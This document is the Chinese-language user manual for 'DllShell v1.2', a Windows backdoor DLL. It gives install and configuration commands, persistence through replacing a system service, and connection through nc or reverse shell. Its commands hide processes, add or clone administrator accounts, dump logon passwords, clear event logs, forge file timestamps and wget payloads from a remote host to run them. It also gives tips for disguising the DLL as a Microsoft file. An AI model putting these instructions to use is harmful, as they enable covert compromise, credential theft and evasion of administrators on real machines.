DllShell v1.2
DllShell v1.2
by nop http://www.ph4nt0m.org
有几个功能函数是参考&修改于Nameless Shell的代码,在此对作者的开源精神表示感谢.
如果发现任何bug或者有任何建议,请和我联系,谢谢!
后门使用
========================================================================
配置:
setdll.exe -w dllshell.dll //写入后门配置
setdll.exe -r dllshell.dll //读取后门配置
安装:
rundll32 dllshell.dll,I password //I和password之间只有一个空格
卸载:
rundll32 dllshell.dll,R password //然后重启即可
Q&A
=========================================================================
Q: DllShell的启动方式?
A: 后门采用替换系统原有服务的方法实现自启动,请替换服务前,确定该服务存在,否则后门可能安装失败.
Q: 如何知道后门安装成功?
A: 确认是否安装成功,请查看system32目录下面生成的dllshell.log文件,里面有安装过程的信息.
后门运行过程中不会生成log,请放心使用 :-)
Q: 如何卸载后门?
A: 后门启动时自动开启了自我保护线程(包括注册表项, 自身dll文件保护, IP变更通知).
如果要卸载后门,请先执行shield off命令,挂起保护线程,然后重启机器即可.
Q: 如何连接后门?
A: 连接后门请使用nc或者putty,使用系统自带的telnet是无法连接上后门的.
(why? telnet是一个字符一个字符发送,nc是在用户按下Enter后将用户缓冲一次发出)
正连或者反连成功后,没有任何提示符,请输入正确密码,即可看见欢迎banner.
还要注意的是,如果连上10s内没有输入密码,后门会自动断开
Q: 如何配置后门?
A: 请在dllshell.ini里面填写适当的信息,然后用setdll.exe -w dllshell.dll将配置写入
如果不放心写入的信息,可以用setdll.exe -r dllshell.dll 查看写入的配置
Q: 如何让后门融入系统dll大家庭?
A: 你可以用资源修改工具如ResHacker或者Restorator给dll添加上Microsoft的版权信息.
如果想使后门更小巧,请用WinUpack等工具压缩即可.
Q: 后门有哪些特点?
A: 请看后面的命令说明,功能还是挺全的.而且有时间还会不断添加.
命令详细说明
===========================================================================
ps -l
枚举进程
ps -k <PID|ProcName>
结束进程,可用PID或者进程名
ps -d <PID|ProcName>
在结束进程的基础上,然后删除进程的映象文件,可以对付某些弱智木马 :-)
ps -m <PID|ProcName>
列举指定进程的模块,包括模块名(Module Name) 加载基址(Base Address)和映象路径(ImagePath)
ps -mv <PID|ProcName>
列举指定进程的模块,包括模块名(Module Name) 和文件版本号(FileVerison),
比如:
Module FileVersion
=============================================================================
USER32.dll 5.00.2195.6897
ps -md <PID|ProcName>
列举指定进程的模块,包括模块名(Module Name) 和文件描述(FileDescription)
比如:
Module FileVersion
=============================================================================
USER32.dll Windows 2000 USER API Client DLL
ps -mc <PID|ProcName>
列举指定进程的模块,包括模块名(Module Name) 和公司名称(CompanyName)
比如:
Module CompanyName
=============================================================================
USER32.dll Microsoft Corporation
ps -h <PID|ProcName>
隐藏指定的进程,可用PID或者进程名
此段代码非我写,改写自pjf的HideProcess.cpp,自然不能过Icesword :-)
User -e
枚举系统用户
User -a <UserName> [UserPassword]
添加指定用户到Administrators组,并且密码永不过期, 如果不指定UserPassword,则为空密码
User -d <UserName>
删除指定用户
User -n <UserName>
将指定用户的"上次登录"改为"从不",同时修改该用户成功登录次数为0
User -c <Src_UserName> <Dest_UserName> [Dest_UserPassword]
克隆帐号,也可恢复克隆的帐号,将Src_UserName,Dest_UserName同时设为Dest_UserName即可恢复克隆的帐号.
User -cc
检测克隆帐号
Netstat -t
枚举TCP连接
Netstat -te
只列出Established状态的TCP连接
Netstat -u
枚举UDP本地端口
Netstat -a
等于Netstat -t 加上Netstat -u
Netstat -k <Local_IP:Local_Port> <Remote_IP:Remote_Port>
断开已经建立的TCP连接(IP,端口用:隔开即可)
比如
netstat -k 192.168.0.1:3333 192.168.0.2:4444
Svc -ew
枚举Win32服务
Svc -es
枚举Driver服务
Svc -start <ServiceName>
启动指定服务
Svc -stop <ServiceName>
停止指定服务
Svc -d <ServiceName>
删除指定服务
Svc -c <ServiceName> <ServiceType>
设置服务的启动方式
ServiceType为: Auto/Demand/Disable(自动/手动/禁用)
Svc -q <ServiceName>
查询指定服务的详细信息.
比如svc -q w32time, 返回如下信息:
Service Information:
—————————————
ServiceName: bits
DisplayName: Background Intelligent Transfer Service
Description: 用闲置网络带宽在后台传输文件。如果此服务被禁用,那么任何依赖于
BITS 的功能,例如 Windows Update 或 MSN Explorer,都将不能自动
下载程序和其它信息。
ImagePath: C:WINNTSystem32svchost.exe -k BITSgroup
ServiceDll: C:WINNTSystem32qmgr.dll
StartName: LocalSystem
Dependencies: LanmanWorkstation Rpcss SENS Wmi
ErrorControl: Normal
StartType: Manual
CurrentState: Stopped
Service Information Complete.
Shutdown -i <Message> [TimeOut]
初始化关机过程,Message为显示给当前用户的消息,如果TimeOut未指定,默认为60s.
Shutdown -a
取消关机过程.
Shutdown -r
重启
Shutdown -s
关机
Shutdown -p
关闭电源
Shutdown -l
注销
Term -i [Port]
安装终端服务,如果Port不指定,默认为3389.
Term -p [Port]
更改终端服务端口,如果Port未指定,则查询当前终端服务端口.
————————————————————————————–
CD/CD.
显示当前目录
CD..
返回上级目录
CD <Dir>
改变当前目录
MD/RD <Dir>
删除目录
DEL <FileName>
删除文件
DIR|LS [Pattern]
显示文件和目录,Pattern支持通配符,例如dir *.exe
————————————————————————————–
AutoRun -e
枚举注册表里面的启动项,相当全面.
AutoRun -d <i> <j>
删除指定启动项目.
比如,autorun -e, 返回如下信息:
16.[HKCUSOFTWAREMicrosoftWindowsCurrentVersionRun]
————————————————————————
[0]Internat.exe:
internat.exe
用autorun -d 16 0, 即可删除"[0]Internat.exe:"项目
Mouse -l/u
锁定/解除锁定鼠标指针
Mouse -s/r
交换/恢复鼠标左右键
Assoc
枚举一些关键扩展名的执行关联,很老的马才会用这招了.
比如输入assoc, 返回信息如下:
文件关联:
—————————–
项目名称 状态(异常标志: ==> )
——– —-
exe文件: "%1" %*
com文件: "%1" %*
bat文件: "%1" %*
cmd文件: "%1" %*
pif文件: "%1" %*
scr文件: "%1" /S
txt文件: ==> n0tepad.exe %1
ini文件: %SystemRoot%System32NOTEPAD.EXE %1
inf文件: %SystemRoot%System32NOTEPAD.EXE %1
reg文件: regedit.exe "%1"
Clog
清除系统日志(包括应用程序/安全性/系统)
Exec <ExecuteFileName>
执行可执行文件
FindPass
查找2k/Nt的用户口令.
修复Nameless里面findpass的两个bug:
(system权限不能获取domain/username和只能查找一个winlogon进程的小bug)
FileTime <FileName> <DateTime>
修改指定文件的创建日期和最后修改时间 到 DateTime指定的时间
DataTime的格式为yyyymmddhhmmss,如20060524152307
注:可以修改具有只读,隐藏,系统属性的文件时间
Help|?
帮助
LockPC
锁定工作站的桌面
Shell [CmdFile]
打开CMD命令行,如果CmdFile未指定,默认为cmd.exe
如果管理员删除了cmd.exe,或者修改了cmd.exe的权限;
你可以先wget个自己的mycmd.exe,然后Shell mycmd.exe即可
Shield <On|Off>
恢复/挂起自我保护线程,如果要卸载后门,请先Shield Off
SysInfo
收集系统配置信息,比较详细:-)
比如sysinfo, 返回信息如下:
系统信息
————————————–
系统版本: Microsoft Windows 2000 Advance Server Service Pack 4.0(Build 2195)
产品ID: 52273-005-6861993-09773
安装路径: H:WIN2000PROI386
安装时间: 2046-1-20, 15:22:56
注册组织: Microsoft
注册用户: BillGates
主机名: WEB_SERVER
Windows目录: C:WINNT
系统目录: C:WINNTsystem32
CPU个数: 1个
CPU[0]: Intel(R) Pentium(R) 4 CPU 2.40GHz频率: 2391MHz
内存容量: 255MB Total, 31MB Free.
显示属性: 1024 x 768, 刷新率: 85Hz, 色深: 32bit
运行时间: 0天 00:10:32
盘符[卷标] 驱动器|文件系统 总大小|可用空间 百分比
—————————————————————————–
C:| 硬盘|NTFS 12001MB| 92MB 11.7G| 0.1G 0.8%
D:|本地磁盘 硬盘|FAT32 15633MB| 125MB 15.3G| 0.1G 0.8%
E:| 硬盘|FAT32 15633MB| 93MB 15.3G| 0.1G 0.6%
F:| 硬盘|FAT32 15633MB| 3708MB 15.3G| 3.6G 23.7%
G:|本地磁盘 硬盘|FAT32 15610MB| 59MB 15.2G| 0.1G 0.4%
H:| 光驱|无碟 0MB| 0MB 0.0G| 0.0G 0.0%
I:| 网络驱动器| 0MB| 0MB 0.0G| 0.0G 0.0%
硬盘总容量: 74513MB|72.8G
剩余空间: 4078MB|4.0G
可用百分比: 5.5%
本机IP
————————————–
IP[0]: 192.168.0.1
Wget <URL> [SaveFileName]
Http下载文件到system32目录下面,
注意URL前面要加上http://
如果SaveFileName没指定,则使用URL里面的文件名
比如, wget http://192.168.0.2/cmd.exe mycmd.exe 则保存的文件名为mycmd.exe
wget http://192.168.0.2/cmd.exe 则保存的文件名为
wget http://192.168.0.2/cmd.exe 则保存的文件名为cmd.exe
Quit|Exit
退出Dllshell.